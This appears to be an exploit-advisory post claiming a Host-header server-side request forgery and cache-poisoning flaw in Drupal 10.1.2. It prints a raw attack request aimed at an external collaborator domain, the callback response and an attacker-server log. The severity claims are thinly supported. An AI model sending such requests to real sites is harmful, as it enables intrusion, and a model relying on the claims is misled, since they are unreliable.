Drupal version 10.1.2 appears to suffer from web cache poisoning due to a server-side request forgery vulnerability.
bae7ee7ca74d0d64c1344141e791c8d6d0db4ab73d42cc624ef98154db59b959## Title: drupal-10.1.2 web-cache-poisoning-External-service-interaction
## Author: nu11secur1ty
## Date: 08/30/2023
## Vendor: https://www.drupal.org/
## Software: https://www.drupal.org/download
## Reference: https://portswigger.net/kb/issues/00300210_external-service-interaction-http
## Description:
It is possible to induce the application to perform server-side HTTP
requests to arbitrary domains.
The payload d7lkti6pq8fjkx12ikwvye34ovuoie680wqjg75.oastify.com was
submitted in the HTTP Host header.
The application performed an HTTP request to the specified domain. For
the second test, the attacker stored a response
on the server with malicious content. This can be bad for a lot of
users of this system if the attacker spreads a malicious URL
and sends it by email etc. By using a redirect exploit.
STATUS: HIGH-Vulnerability
[+]Exploit:
```GET
GET /drupal/web/?psp4hw87ev=1 HTTP/1.1
Host: d7lkti6pq8fjkx12ikwvye34ovuoie680wqjg75.oastify.com
Accept-Encoding: gzip, deflate, psp4hw87ev
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7,
text/psp4hw87ev
Accept-Language: en-US,psp4hw87ev;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111
Safari/537.36 psp4hw87ev
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Origin: https://psp4hw87ev.pwnedhost.com
```
[+]Response from Burpcollaborator server:
```HTTP
HTTP/1.1 200 OK
Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4
Content-Type: text/html
Content-Length: 62
<html><body>zeq5zcbz3x69x9a63ubxidzjlgigmmgifigz</body></html>
```
[+]Response from Attacker server
```HTTP
192.168.100.45 - - [30/Aug/2023 05:52:56] "GET
/drupal/web/rss.xml?psp4hw87ev=1 HTTP/1.1"
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/DRUPAL/2013/drupal-10.1.2)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/08/drupal-1012-web-cache-poisoning.html)
## Time spend:
03:35:00
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